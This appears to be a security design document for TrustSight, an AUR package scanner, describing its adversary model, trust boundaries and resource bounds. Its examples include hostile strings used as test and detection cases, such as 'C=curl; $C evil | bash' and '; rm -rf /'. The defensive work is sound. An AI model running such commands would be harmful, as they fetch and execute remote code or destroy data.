Part A: TrustSight as a program under attack¶
The adversary¶
TrustSight reads PKGBUILDs from the AUR. The AUR is an unmoderated, user-submitted package repository: anyone can publish, and a package can be modified by whoever maintains it. So the model assumes the strongest realistic adversary for this position:
The attacker controls, entirely and with foreknowledge of this source code, every byte of every artifact TrustSight reads about a package. That includes the PKGBUILD, the .install hook, every other file in the repository, the package name, the maintainer name, the version strings, the commit metadata, the commit timestamps, and the AUR metadata entry.
The attacker also knows which rules exist, what they match, and what they do not. Detection is calibrated, published, and therefore evadable; see what TrustSight cannot see. Part A is not about whether an attack is detected. It is about what the attacker can do to the machine running TrustSight, and the answer must be "nothing", detection or no detection.
The trust boundary¶
| Input | Trusted? | Why |
|---|---|---|
PKGBUILD, .install, repository tree, package and maintainer names, versions, commit metadata |
No | Written by the party under review. |
The AUR metadata dump and the git repository at aur.archlinux.org |
Transport only | The host is fixed and reached over TLS. Its contents are attacker-authored and are treated as hostile input. |
config.toml, rules.toml, hosts.toml, patterns.toml, naming.toml, thresholds.toml, iocs.toml, overrides.json |
Yes | Local files owned by the operator. Editing them is a supported way to tune the tool. iocs.toml here is the legacy exact-match list for H056; the IOC federation baselines are separate (A13b). |
| The novelty seed | Verified, conditionally | No longer bundled in the package: it is fetched from the release channel and imported only when its detached signature verifies against the pinned distribution key. On machines without the seed it is simply absent, and first runs degrade to cold start instead of importing something unverified. The build procedure and the way the digest is checked are in seed provenance. It carries no plaintext identity (P1). |
Release-channel assets (baseline-*) |
Verified, conditionally | Downloaded from the declared release endpoint only, with a byte cap applied while downloading. The detached Ed25519 signature then verifies against the pinned distribution key before the payload is parsed, imported, or used; verification failure is a refusal. |
| A seed or baseline given on the command line | Operator's decision | Passing a path is an explicit act of trust. The baseline importer verifies a signature; the seed importer records the digest of what was imported. |
| A file passed on the command line | Operator's decision | seed-db --file and lint-rules --file may read an explicit relative or absolute path. Config and snapshots otherwise resolve under the config directory. |
| The operator's webhook endpoint | Operator's decision, outbound | Set with --notify or [notify] webhook, so it is chosen by the operator, never by a package. The watch loop POSTs a fixed alert document to it (cycle counts, package names, rule ids, scores): analysis output, never recipe content or local data. It is the only egress that is not a literal constant in the source, which is why the direction matters: this machine sends, it reads nothing back. |
The container image on ghcr.io |
Verified by construction | Built by the release workflow from the tree that passed the release verification, and published only after that verification succeeds. Pulling the image is pulling the same artifact the release produced, from the declared registry. |
The invariants¶
A1. The input is not code. There is no eval, no exec, no os.system, no shell=True, and no unpickling anywhere in the source. Subprocesses are spawned only to ask the local pacman about installed packages and repository lists, to read the local repository configuration with pacman-conf, to compare versions with vercmp, and to run the sandboxed tokenizer (A6). Argument lists are always a list, never a string, so there is no shell to inject into.
vercmp deserves stating out loud, because it is the one place in A1 the guarantee is a validation rather than a structural property. pacman calls take -- to end option parsing. vercmp has no --, and its two arguments are version strings that came from the AUR, so they are attacker-influenced: a package publishing the version -h would otherwise put a flag on a command line. The guard is therefore the shape of the argument, checked before the spawn:
A pacman version is [epoch:]pkgver[-pkgrel], so the permitted set is letters, digits, and . _ + ~ : -, and the first character may not be -. Anything that fails this never reaches a command line: it is compared in-process by _simple_vercmp instead. When pyalpm is installed, no subprocess is spawned at all and the comparison happens in-library.
The residual risk is that the shape check is an allowlist, and an allowlist can be wrong. It is tested against both directions (real versions like 1:1.1.1w-1 must pass, -h, --help, ; rm -rf / and the empty string must fail), and passing it buys an attacker one vercmp argument out of a character set with no shell metacharacters in it.
A2. The URLs a package declares are never fetched. Downloading what a PKGBUILD points at would make every reviewer an SSRF probe, would tell the attacker exactly who is inspecting them, and would turn a review into a denial-of-service amplifier.
The analysis package is not transport-free, and it is worth being exact about what it does reach. analysis/pipeline.py imports fetcher and calls clone_or_fetch to obtain the package's own AUR repository, which is how the diff exists at all. What holds is narrower than "no transport": every fetch helper the analysis package may import is keyed by package name or commit id, never by URL. A source= entry is parsed, classified and scored, and there is no function in reach that would take it. So reaching the network requires naming a package, and the host is then the A3 AUR constant; the release channel is a separate module the analysis package never imports.
That is enforced rather than asserted: the gate parses every module under src/trustsight/analysis/ and fails if any imports a raw transport library (urllib.request, http.client, socket, requests, httpx, ftplib), and it checks every name imported from a fetch module (fetcher, discovery, full_aur.fetch, full_aur.metadata) against a name-keyed allowlist so a URL-taking helper cannot be pulled in. Adding such a helper to that allowlist is the change that would reintroduce SSRF, and it fails the gate.
A3. Declared network hosts. Every endpoint is a literal constant: https://aur.archlinux.org (the RPC, the metadata dump, the git clone, and cgit), the read-only GitHub AUR mirror at https://codeload.github.com/archlinux/aur (the corpus fetcher's snapshot source when cgit is rate-limiting; reachable only from full_aur/fetch.py), plus the GitHub release channel at https://api.github.com for baseline-release discovery and https://github.com/emiliano-go/trustsight/releases for assets. Release access is confined to release.py, only reaches baseline-* assets, and occurs on explicit commands, the first-run auto-import of a missing seed, or the throttled version check described below. That check reads one release tag (/releases/latest) at most once per cached window - a few hours - sends nothing of the operator's, and is skipped entirely under TRUSTSIGHT_OFFLINE or TRUSTSIGHT_NO_UPDATE_CHECK; it exists so an install a version behind cannot silently miss a detection, and it never runs inside analysis. TrustSight never connects to a host named by the package under review, and the release host is unreachable from analysis: release.py is in the fetch-module allowlist that nothing under analysis/ may import. The analysis itself is local and deterministic, as the thesis describes; fetching is a separate stage, and a release download that does not verify against the pinned key is refused, never imported.
One endpoint is not a constant, and the exception is deliberate. With --notify or [notify] webhook, the watch loop POSTs its alert document to the operator's own webhook (notify.py): the destination is operator configuration, the same class of input as config.toml, and the payload is a fixed JSON shape built from analysis output - cycle counts, package names, rule ids, scores - never recipe text, never local data, never anything the package declares. notify.py sits in the egress allowlist the confinement gate enforces, and like the fetch modules it is unreachable from the analysis package: only the watch loop calls it. A receiver that is slow, large, or dead costs one logged warning: the body is drained under a byte cap and a deadline, and a notification must never kill the loop.
One release-channel asset breaks the signature rule by design, and says so: baseline-benign-corpus.tar.gz is CI-only (the Calibration Gates workflow downloads it; the tool never does), so it is unsigned, and the workflow verifies the extracted bytes against the corpus_content_sha256 committed in tests/fixtures/baseline.json before any gate runs. The committed hash is the trust anchor, not the asset's bytes.
Cloning executes nothing. Repositories are fetched through pygit2 (libgit2) as bare repositories and read as committed objects; nothing is checked out, so no working-tree filter can run. libgit2 runs no git hooks on clone, and TrustSight configures no clean, smudge or fsmonitor filter, the git-config-driven paths where a fetch can otherwise become an execution. This documents a property the library already has rather than a control this project adds; per the assumptions, a compromised pygit2 is outside the model.
A4. Every read is bounded. Every request has a timeout. A request frame is capped at protocol.MAX_FRAME_BYTES before it is written, and the write shares the request's deadline, so a child that stops reading cannot hold the parent in an unbounded write. Every response has a byte cap, and both sandbox children apply it while the body is serialised and before it is framed (protocol.encode_response), so an over-wide projection is a contained refusal in the child rather than a frame the parent must read and discard. The parent keeps its own response-read cap as a backstop. The AUR RPC is capped too: discovery._load_rpc_json reads at most _MAX_RPC_BYTES (64 MiB) before parsing, and a reply past the cap is caught and degrades to "query failed" rather than being buffered into json.load, so a hostile or malfunctioning endpoint cannot exhaust memory even though the RPC returns metadata rather than content a rule matches. The metadata dump has its own 512 MiB response cap and a 512 MiB decompression ceiling (full_aur.metadata). Decompression is capped before it is materialised, tar members are walked lazily with a ceiling, the seed import refuses to expand past its limit, and the diff is truncated at a configured size. Release assets are downloaded with the release._MAX_RELEASE_BYTES (512 MiB) cap, then their detached signatures are verified before parsing, importing, or using their payloads. A remote end never decides how much of this machine's memory or time to use.
Two of those bounds are worth stating separately, because in both cases an earlier check looked like the bound and was not.
A read with no size is the other end choosing the size. Reading a tar member with a bare read() allocates whatever the member's header declares, and that header is written by the party under review. The response cap upstream does not help, because it applies to the compressed body: gzip on compressible content runs to about a thousand to one, so 32 MiB on the wire is tens of gigabytes of member. Every read of a stream therefore carries a size, and a read without one is refused by a gate over the whole source rather than by an audit of the call sites known today. The ceilings are full_aur.fetch.MAX_TAR_MEMBER_BYTES for a snapshot member and db.MAX_SEED_MEMBER_BYTES for a seed archive member; the latter tightens a total-size check that already bounded the archive as a whole, so that no single member can claim the whole budget at once.
An artifact is bounded before it is verified, not after. A signature is computed over the bytes of the thing it signs, so verification cannot run until those bytes are read: a bound placed after the check guards nothing, and the same holds for a digest recorded for attribution (A12) and for a decompression cap that only ever sees an already-materialised buffer. The reads that precede a check are bounded by ioc_baseline.MAX_BASELINE_BYTES, full_aur.export.MAX_ARTIFACT_BYTES and db.MAX_SEED_BYTES.
Both refuse rather than truncate. A truncated read is a complete-looking one with its tail quietly removed, which is the seam A5 and A6 already refuse for the same reason. An over-cap seed or baseline aborts its import. An over-cap snapshot member is declined and the fetch falls back to the cgit text path, which means the analysis still produces a result - so that refusal is recorded as the snapshot_refused coverage gap and everything in B2 then applies: the run cannot report UNFLAGGED, and the gap is shown with the band.
One operator-owned read is bounded too: the watchlist is read under watchlist.MAX_WATCHLIST_BYTES (1 MiB), and an oversized or malformed file is treated as absent. The document cache follows the same rule: doc_cache._load reads through read_file_capped under doc_cache.MAX_DOC_CACHE_BYTES (16 MiB), so an oversized, truncated or corrupt entry is a cache miss that re-parses instead of being materialised, and _store abandons a payload over the cap rather than writing it. Local filesystem permissions remain a trusted assumption; these caps are for a runaway or corrupted file, not a hostile one.
full-aur and full-aur --watch change the volume of this, not its shape. A watch loop makes many requests to the one host in A3 over hours or days, so the bounds above are per-request and the loop adds two of its own: a configured interval with a 60-second floor, and an optional cycle count. Each cycle is an ordinary analysis; nothing about running on a timer relaxes A1 through A13. A --since replay is the same machinery in a different order: the same per-request bounds, the same cap per cycle, walking AUR LastModified backwards through history instead of waiting for new deltas - the cursor is one row in the local database, and nothing about replaying the past widens what the tool may reach.
Source URLs are bounded before they are classified. A hostname's real limits are DNS's - 253 bytes and 127 labels - and classification walked every label and computed every parent domain, which is quadratic in label count: one 8 KiB host of dots cost 421 ms, and with MAX_URLS_PER_SIDE allowing 4,096 URLs a single package could spend around half an hour there. buckets.MAX_HOST_BYTES and MAX_HOST_LABELS bound it, and labels are dropped from the left so the registrable domain - the part every classification decision reads - survives. Truncating rather than refusing is deliberate: refusing an over-length host would let a homograph domain be padded past the check.
A4b. The differ and companion reads are bounded. The differ has its own local bounds, and they bound what is allocated rather than what is kept. patch.text materialises a whole patch, so the cap that matters runs before that call: a delta whose declared file size on either side exceeds differ.MAX_PATCH_SOURCE_BYTES is skipped without its text ever being requested, which is the only bound available ahead of the allocation. A patch is at most the changed lines plus context, so a file small on both sides cannot yield a large one. Text that is read is then capped at MAX_PATCH_BYTES, the retained total at MAX_GENERATED_DIFF_BYTES, the number of patches visited at MAX_DIFF_PATCHES, and the summary at MAX_DIFF_SUMMARY_FILES - the summary walks every delta regardless of the text cap, so a wide repository would otherwise choose the size of a stored fact_json. Companion discovery is bounded the same way: the PKGBUILD blob's size is checked before blob.data is touched (MAX_PKG_BUILD_BYTES), the tree walk that selects companions stops at MAX_COMPANION_TREE_ENTRIES, and a referenced basename past MAX_COMPANION_NAME_BYTES, or carrying any path structure, is refused rather than rendered into a hunk header. The general tree projection is bounded at the same point: git_project.collect_tree_files stops at git_bounds.GIT_TREE_MAX_ENTRIES during the walk and reports the tree incomplete, rather than walking every entry and truncating the finished list - a repository is free to commit millions of tiny blobs, and a cap applied to the result does not bound what building it allocates. The generator returns its own truncation flag rather than letting the caller infer one: a patch it declined to retain leaves the assembled text at or under the cap, so measuring that text would report a complete analysis while content had been skipped, which is the silent skip B2 forbids. Policy omission is not truncation - a .png the filter never reads leaves nothing unexamined, while a .install dropped at a cap does, and only the second sets the flag. What these bounds do not cover is libgit2's own diff construction: repo.diff() builds the diff object before any of this runs, and its cost is a property of the repository rather than of TrustSight. That sits inside the dependency assumption - pygit2 is trusted substrate - and it is stated here rather than implied, because the bounds above are on what this program allocates and it would be easy to read them as more. Companion files are capped at MAX_COMPANION_BYTES and MAX_COMPANION_FILES; paths and extracted URL tokens have fixed byte/count limits. Companion blobs are size-checked before their bytes are read. URL lists and file-change summaries are sorted before reporting, so repository traversal order cannot change a result. Malformed hunk headers and content outside a valid hunk are ignored rather than mapped to a fabricated location. If the pipeline's combined diff cap truncates output, diff_truncated remains a visible coverage gap and the result cannot read as clean.
A4c. API inputs are bounded. The public API applies equivalent input bounds before initialization: package and indicator names are capped at 256 UTF-8 bytes, PKGBUILD and metadata text at 5 MiB, repositories at 256 names, and package/history collections at 10,000 entries. Invalid types, booleans used as numeric limits, negative values, and oversized inputs fail with ValueError before database or network work.
There is deliberately no hook, callback, or notification command: nothing in TrustSight spawns an operator-supplied program, with or without findings on stdin. That is worth stating because it is a natural thing to want from a watch loop, and a natural thing to add carelessly. If it is ever added it belongs in this part with its boundary written down, because such a hook would receive attacker-influenced JSON (package names, maintainer names, quoted evidence) and the operator's script would own what happens next. Today the only subprocesses are the pacman, pacman-conf and vercmp calls in A1 and the tokenizer worker in A6.
A5. Matching is bounded, and the bound is recorded. Rule patterns are regexes running over attacker-written text, so the input is clamped to rules.MAX_RULE_LINE_BYTES (8 KiB) per line before matching. That bounds every pattern at once, including ones added later, in a way that no per-pattern audit can.
The clamp applies to both rule engines. The patterns in rules.toml go through apply_rules; the larger set emitted from analysis/ matches the diff text directly, and rules.clamp_text bounds that text before it gets there. That distinction is not cosmetic: while only the first was clamped, one 5 MiB line cost 0.17s through apply_rules and 15s through the code-emitted rules.
A clamp is also a truncation seam: a payload placed past byte 8192 of a single line is not matched. A bound that silently drops content is exactly the class of skip B2 exists to prevent, so it does not stay silent. A diff containing any over-length line records the line_truncated coverage gap, and everything in B2 then applies: the run cannot report UNFLAGGED, and the gap is shown with the band. Lines are joined across backslash continuations before this is measured, so the limit applies to the logical line an attacker actually controls.
Two hostile shapes cost differently, and the gate measures both. One enormous line is cheap, because the clamp cuts it to 8 KiB before any pattern runs. The same byte budget spread over many lines pays the whole ruleset per line, and is the more expensive shape by a wide margin - measuring only the first left the second unmeasured. Both are bounded by [diff] max_diff_bytes, and a diff that reaches it records diff_truncated; the ceiling on the many-line probe exists to catch a rule turning accidentally quadratic, which is the regression that would make an ordinary diff expensive.
The current runtime uses Python's standard re module. This is a deliberate dependency boundary: the input clamp is applied before both TOML-configured and code-emitted patterns, and the security gates exercise adversarial matching time. The project does not claim that input clamping proves every pattern is linear. The next regex hardening step is comparative: audit the shipped and configured patterns, add per-pattern adversarial cases, and benchmark the standard engine against a bounded alternative before changing the runtime dependency. A replacement such as the third-party regex package is not an automatic improvement; it expands the trusted dependency set and must first demonstrate lower worst-case cost, compatible syntax, deterministic behavior, and acceptable packaging and maintenance risk.
At runtime, a configured rule pattern that exceeds the bounded adversarial probe budget is refused by the rule compiler and contributes no finding. This is a fail-closed safety decision for the pattern, not a claim that the rule matched cleanly. The configured rules remain subject to the rule linter, while the source, inline (re.search and friends), assembled and config-fragment pattern families remain covered by the repository-wide audit gate. An inline re.match/re.fullmatch is measured with the method it actually uses, because a search-style reading would refuse a linear anchored rule; inline re.search, sub, split and the rest are measured unanchored. Two shipped config fragments had become quadratic on a full line - the parse-time fetch prefix split a whitespace run between two \s* spans, and the obfuscation | ... bash indicator let .* rescan every pipe - and both are now written with one unbounded span. The optional comparison tool is scripts/benchmark_regex_engines.py; it reports that regex is unavailable unless the operator installs it separately, so the production dependency set does not change as part of benchmarking.
A6. Expansion is bounded and never indirect. The tokenizer resolves shell variables so that a payload assembled from C=curl; $C evil | bash still reaches the rules. That makes it the second parser eating hostile input, and the one with an amplification property the regex engine does not have: b=$a$a doubles per level, so a chain of them grows as 2**depth, and a 517-byte PKGBUILD was once enough to OOM the process. Four bounds apply: _MAX_EXPANSION_PASSES (16 rewrites, each resolving one innermost ${...}), _MAX_VALUE_LEN (8 KiB for one value), _MAX_LINE_LEN (64 KiB for one resolved line), and _MAX_TABLE_BYTES (1 MiB for the variable table as a whole).
The bounds hold the cases they were written for, but a bound found and applied to a known amplification is a different assurance from "a defect here cannot reach anything". So the whole tokenizer runs in a separate process. The child inherits no analysis descriptors, holds no database handle, config or network-capable modules, and has RLIMIT_AS set, so a bypass of a bound exhausts the child rather than the analysis. The parent reaches it only through trustsight.tokenizer; trustsight._tokenizer_engine is imported by the worker alone, and the tokenizer module is isolated gate fails if any other src/ module imports it. A child that cannot answer is a refusal, not a quiet run: the facade raises TokenizerUnavailable and the package is reported as not vetted (B2), so a failed sandbox cannot read as a clean analysis. That includes a child that could not apply a core protection: if RLIMIT_AS, RLIMIT_CPU or PR_SET_NO_NEW_PRIVS fails, the worker exits before serving and the client raises, rather than analysing with weaker confinement than the verdict claims. RLIMIT_FSIZE, RLIMIT_NOFILE and the best-effort network drop remain reported degradations, because their loss does not change what was analysed. A reply past protocol.MAX_RESPONSE_BYTES is refused in the child while it is serialised; that is a TokenizerUnavailable refusal and the package is not vetted, never a truncated result.
The important half is what happens at the bound. A value that would exceed the bound is left unexpanded and never truncated. An unexpanded $payload is reported as an unresolved pattern; a truncated one would look like a fully resolved string with its tail quietly removed, which is the same failure mode as A5's seam and is refused for the same reason.
The same four bounds live in the shared expansion.py, not only in the sandboxed engine, because the parent resolves a whole PKGBUILD with that code (differ/_sources.py, analysis/version.py, full_aur/temporal_engine.py). A substitution whose value times its replacement would exceed a line is refused before re.sub runs, a value past the value bound is dropped from the table so it reads as unknown, an array contributes at most _MAX_ARRAY_ENTRIES (4,096) entries, and the whole-text parent resolve is capped at _MAX_TEXT_LEN (8 MiB).
A shell glob is not turned into a regex. _glob_tokens turns a <pat> into a flat token list, and _glob_find/_glob_prefix_ends answer it with a table pass over the value. The work is bounded by _MAX_GLOB_PATTERN_LEN (256) and _MAX_GLOB_STEPS (8,000,000) rather than by a wildcard count: *a*a*a... is a legitimate short pattern that used to become a chain of .* and cost seconds, and the matcher answers it without backtracking. A pattern past the length bound, or one whose match would exceed the step budget, is left unresolved rather than truncated.
Two forms are never resolved at all: indirect expansion ${!name}, which would let a value choose which variable is read, and length ${#name}. Both return unresolved rather than a guess.
Line continuations are joined before any of this runs, and they are joined verbatim. A backslash-newline is removed by the shell rather than being whitespace, so cur\ followed by l ... is curl ...; joining with an inserted space produced cur l ..., which splits a command name into two words and hides it from every rule that matches one. Indentation on the continuation line is kept as written, so arguments stay separated. There are two joiners - one for the coverage path and an indexed one the rule path uses - and they must agree, because a diff read two ways is a diff one of them reads wrongly.
A7. Rendering data is data. A finding's plain-English text is a template keyed by rule id, filled with named fields from the finding's evidence. Field values are substituted, never re-expanded and never evaluated: a value with {0.__class__} renders as those characters. No template is ever drawn from package-controlled text, and a template missing a field falls back to the finding's reason instead of raising, so one malformed finding cannot abort a batch.
No language model renders a verdict. Rendering is deterministic and local, which is a security property rather than a stylistic one: it gives the output path no network dependency, no nondeterminism, and no prompt-injection surface. There is no model in this program for a package to talk to. R012 still detects injection aimed at whoever reads the diff, because the target of that attack is the human reviewer.
A8. No archive member is written to a path the archive chose. Snapshot tarballs - the ones carrying package-controlled content - are walked in memory, member by member, and nothing from them is written to disk at all: for that surface there is no path-traversal question because there is no extraction.
One archive is written to disk, and pretending otherwise would be the kind of gap this page exists to close. A v2 seed archive is expanded by db._extract_v2_archive, because the importer reads a directory of files. It is not handed to extract() or extractall(): each member is checked before it is written, and the checks are the containment. A member whose name is absolute or contains .. is refused, as is any symlink, hardlink, device or FIFO member, so the destination is the only place a write can land. The member count and the archive's total declared size are bounded (MAX_SEED_MEMBERS, MAX_SEED_BYTES), and each member is bounded again as it is read (MAX_SEED_MEMBER_BYTES). What the gate enforces is the narrow, precise thing: no member's own name is ever passed to an extractor. Note what this does not rest on - the trust anchor for a seed is A12, which bounds what an imported seed may write to the database whatever the archive contained.
A9. SQL is parameterised. Every value reaches SQLite as a bound parameter. The only interpolation into statement text is an identifier drawn from a literal list in the same module, because SQLite cannot bind a table name.
A10. Output is inert. Package names, maintainer names, file paths, and quoted evidence are attacker-controlled and are printed to a terminal. Before rendering, they pass through trustsight.safe_text.clean, which removes ANSI and OSC escape sequences, C0 and C1 control bytes, and DEL, and through safe_markup where the value is interpolated into Rich console markup. A package cannot repaint the screen to forge a verdict, cannot recolour a row, and cannot abort the render of a batch with an unbalanced markup tag. Every log record is a render path too. The full-aur progress sink cleans its messages, and the CLI's _StderrHandler cleans the fully interpolated message and the formatted exception/stack text before writing to stderr. The message is one log line, so its newlines are collapsed and a value cannot forge a second line; traceback text keeps its line layout but loses escape sequences, C0/C1 bytes and bidi controls. The handler formats a copy, so a file or document handler still sees the record byte-exact. Stored evidence and JSON output are left byte-exact: sanitising happens at the point of rendering, not in the analysis.
Sanitisation removes control sequences; it does not transform confusable characters. A package or maintainer name built from homoglyphs (a Cyrillic a in an otherwise-Latin name) renders as the characters it contains, because rewriting an identifier would misrepresent what is actually installed. Name-level confusability is a detection concern, handled by rules over the name, not a rendering one. A10 guarantees the terminal cannot be driven; it does not guarantee a name reads the way it looks.
A11. Unless a local marker says otherwise, age is local. A maintainer-supplied timestamp cannot convince the tool that a stale local copy is current. Recency is anchored to markers TrustSight controls: the time the local clone was last fetched (fetcher.last_fetch_time, recorded on this machine), and the observation timestamps in the local database. A package's declared dates (the # Maintainer line, a pkgver that encodes a date, the AUR LastModified the RPC reports) are treated as package-controlled input, so they can be read and compared but never override a local marker to make a stale checkout look freshly current.
A12. A seed cannot rewrite the database. The novelty seed is additive and can never overwrite a row learned from a real analysis, only set the two metadata keys it owns, and cannot raise a locally learned maintainer count. Its SHA-256 and origin are recorded on import. It can only make something look more familiar, which can lower a novelty flag but can never raise a score.
No seed ships inside the package. A seed carried in the AUR package would take its trust anchor from the very channel under analysis, which is circular. The seed is published on the release channel instead and its detached signature is verified against the pinned distribution key (A13) before any of it is parsed, so its origin is authenticated rather than assumed, and a download that does not verify is refused. The recorded SHA-256 and origin remain the attribution record: they say what was imported. How the seed is built, and how a third party can reproduce and audit it, are documented in seed provenance.
A13. A baseline supplies state, not rules. A corpus baseline is a larger version of the same trust decision. It is signature-verified against a pinned public key, its metadata snapshot rides outside the signed payload and is re-hashed against the signed hash on import (so a validly-signed artifact cannot be re-published with someone else's AUR metadata attached), and an unsigned import requires --allow-unsigned and is logged as local-only.
A distribution key is pinned, so signed import works. The shipped full_aur/baseline_pubkey.pem holds the 32 raw bytes of the release Ed25519 public key, whose identity is recorded in baseline keys. This is a centralized trust anchor: every release-channel seed, corpus baseline, and transport signature is accepted because it verifies under this one pinned key. A baseline built and signed with the maintainer's private key (trustsight full-aur --export <artifact> --sign <key>) imports and verifies against it; a baseline you built yourself but did not sign still imports with --allow-unsigned. A build that ever ships a non-key file in that path refuses with a distinct NoTrustedKeyError that says the build pins no key, rather than the signature error that would accuse a valid artifact of being forged. The private key never enters the repository. The baseline release workflow receives it through the BASELINE_SIGNING_KEY CI secret to sign release assets.
Key compromise and rotation. There is no in-band revocation: a compromised current key can sign artifacts that existing releases will accept until operators install a release that pins a replacement public key. On suspected compromise, maintainers must immediately disable or replace BASELINE_SIGNING_KEY, stop publishing baseline assets under the old key, generate a replacement key, ship and announce a software release containing its public key and fingerprint, then publish a newly signed baseline family only after users can verify that release. Operators should upgrade to that release before fetching more baselines, retain the affected baseline tag and imported seed_sha256 for investigation, and re-import a replacement baseline if the prior is no longer trusted. The detailed maintainer procedure is in Publishing Baselines.
The bound matters more than the signature, because a signature says who built the artifact, not that the contents are honest. A baseline writes exactly three things: package profiles, PKGBUILD snapshots, and the metadata snapshot. It cannot change a rule, a pattern, a severity, a weight or a threshold, and it executes nothing. So the worst thing a hostile-but-validly-signed baseline can do is A12's attack at corpus scale: supply a prior that makes the present look unexceptional, reducing novelty and longitudinal signals across many packages at once. What it cannot do is make a rule stop matching. Import a baseline from a corpus you would trust.
A13b. An IOC baseline is attribution, not aggregation. This is a specialization of A13 for the IOC federation layer: an IOC baseline supplies state, not rules, exactly as A13 requires, and A13b adds what an indicator baseline must also guarantee. An IOC baseline is an inventory of known-bad artifacts (domains, file hashes, package names), imported and signature-verified exactly like the corpus baseline above: Ed25519 over manifest.json concatenated with iocs.jsonl, --allow-unsigned for a local build, replaced per source and idempotent. Two properties make it safe to state a definitive finding on. First, every match names the curator that flagged the artifact, so it is never merged into an anonymous set: the report says who called it bad and points at the incident and the evidence, which is what makes an IOC an attribution the reviewer can check rather than a verdict they must take on faith. Second, an IOC match is detection, not inference, so it is deliberately kept out of the score: matches ride on PackageFact.ioc_matches, never score_breakdown, and the same PKGBUILD scores identically whether or not an indicator hits. An IOC cannot be downgraded by a coverage gap, a positive-evidence finding or an override, and an expired indicator is reported as expired rather than silently dropped, so a lapsed indicator never reads as a clean bill. A curator's pkgbuild_pattern is static text at compile time, so compile_ioc_pattern cannot measure it without running the very pattern the check exists to reject. It therefore refuses the structural shapes statically: a nested quantifier, an alternation inside a quantified group, and the broader multi-atom quantified group ((\w+\s?)+) that the narrow detector misses. The baseline layer supplies the indicators; it still cannot change a rule, a weight or a threshold.
P1. The novelty seed carries no recoverable identity. The seed is built from ~36k maintainer names and emails scraped from AUR git history, which is third-party personal data the tool would otherwise redistribute in the clear. Names are stored only as salted SHA-256 hashes, and v3 no longer ships an email hash or a per-maintainer package list at all. The salt travels in seed_meta, so a precomputed table buys nothing; because the salt is public, dropping the email hash removes the one value a guessed address could confirm, and dropping the package list removes the value that re-identifies a person even when the hash does not. The hash preserves exactly the signal the novelty and maturity models need ("is this maintainer new", "how many packages has this identity touched") and nothing more. The value is normalised (strip().lower()) at one hashing chokepoint, so the seed build, the plaintext-to-hashed migration and every runtime lookup agree on what a maintainer's hash is; an old plaintext seed is migrated on first run and its table renamed to maintainers_deprecated_backup. This is a privacy invariant rather than an attack-surface one: it constrains what the tool distributes about people, and A12 still bounds what the seed may write.
MAX_RULE_LINE_BYTES and rules.MAX_SCANNED_LINES are the two halves of A5 and neither is sufficient alone: the first bounds how long a line may be, the second how many there are. Only the first existed for a long time, and rule matching costs roughly 0.46 ms per line, so a 5 MiB diff of four-byte lines was about 1.3 million lines and ten minutes of CPU for a single package - multiplied again by depth.MAX_DEPTH_NODES on a full-depth walk. The cap is 20,000, five times the largest diff in the locked benign corpus (3,839 lines, p99.9 of 2,117), so it truncates nothing real.
A14. An attacker cannot force unbounded resource use in TrustSight-controlled paths. A4 bounds what arrives, A5 bounds what is matched, A6 bounds what is expanded. Together: no TrustSight-controlled input path decides how much CPU, memory, network or disk this process consumes. Every bound is a constant in the source rather than a function of the input, and every bound that drops content records a coverage gap, so bounded never means silently truncated. What these bounds do not cover is libgit2's own diff construction (repo.diff() builds the diff object before any of this runs, and its cost is a property of the repository rather than of TrustSight; see A4b).
That last clause is what makes A14 more than a summary of the three. It ties the resource guarantee to B2, so a bound can never be used as a quiet skip. A response cap applied to the finished payload is the same mistake in the other direction: the sandbox children serialise through protocol.encode_response, which stops at MAX_RESPONSE_BYTES while the body is built, so the cap bounds the child's allocation rather than only the bytes on the pipe.
The cross-package rules are bounded too. G001/G002/G003/G004 join transient per-cycle tables that are cleared at the _run_baseline_build entry point, so the work is proportional to the cycle's transitions rather than to all history, and a stale row cannot re-fire the join. The G003 naming-relatedness pass is O(n^2) over an attacker-influenced member set, so it is capped at MAX_RELATEDNESS_MEMBERS; above the cap the group is not proven to be one family and stays a finding. The G002 feed caps literals per package (256) and joins on a digest of the full literal, never on the truncated diagnostic copy; a capped package is named in a warning, and the excess is not silently presented as an empty feed. These are corpus-aggregation feeds, not a package's analysis result: the per-package run already declares its own coverage gaps, and a feed cap is surfaced in the cycle log rather than attributed to a package's coverage.
A bound on an input is not automatically a bound on what the input becomes. This is the way A14 has failed in practice, and each instance looked adequate in isolation:
| The cap | What it did not bound |
|---|---|
full_aur.metadata.MAX_DECOMPRESSED_BYTES |
Serialised JSON parses into Python objects at roughly JSON_OBJECT_AMPLIFICATION (6x), so a byte ceiling is a sixth of a memory ceiling. |
ioc_baseline.MAX_BASELINE_BYTES |
The number of entries those bytes become; MAX_BASELINE_ENTRIES bounds the objects. |
_MAX_VALUE_LEN / _MAX_LINE_LEN |
The regex a shell glob became. A 256-byte *a*a*... pattern is a chain of .* and cost seconds on a full value; it is now matched by a table pass bounded by _MAX_GLOB_PATTERN_LEN and _MAX_GLOB_STEPS, not compiled to regex. |
The per-transfer deadline (git_bounds.GIT_TRANSFER_DEADLINE_SECONDS) |
Bytes. A deadline on a fast link is gigabytes onto the disk, which is what MAX_TRANSFER_BYTES bounds. |
git_bounds.MAX_TRANSFER_BYTES |
Itself times depth.MAX_DEPTH_NODES. Two caps that each look sufficient compose to their product, so MAX_TOTAL_TRANSFER_BYTES charges the run rather than the repository. A failed or aborted transfer used to report no bytes, so it was charged nothing; the worker now carries what it wrote in the error response and the fetcher charges it too. |
| Nothing at all | Commit count. Repository history is authored by the party under review, and three walks ran it to exhaustion; fetcher.walk_bounded is now the single implementation, asserted by test. |
Deriving a bound from the resource it is meant to protect, rather than from the wire format in front of it, is the general form of the fix.
There is no GPU or accelerator bound because there is no such code: nothing in the tree imports CUDA, PyTorch, OpenCL or NumPy, and analysis is regex and string work on the CPU. The axis is empty rather than unbounded.
A15. An audit does not warm state. Analysing a package the operator has not installed is read-only against the observation database unless --record is passed. A run cannot make an artifact look familiar as a side effect of having been examined. This bounds the self-inflicted variant of the state-poisoning class the adversary section names: novelty and maturity read accumulated history, and if auditing an uninstalled package recorded its URLs, hosts and maintainer identity, then every audit would warm local state using artifacts the operator went looking at because they were suspicious of them. Infrastructure seen once during an audit would read as established the next time it appeared under a package they do install.
The connection is opened with the SQLite read-only URI (mode=ro), not by routing writes to a no-op. Schema migration runs first on a short-lived read-write connection; the analysis connection is then opened ro. A gate asserts the connection mode rather than auditing call sites, the same reasoning as every stream read is bounded.
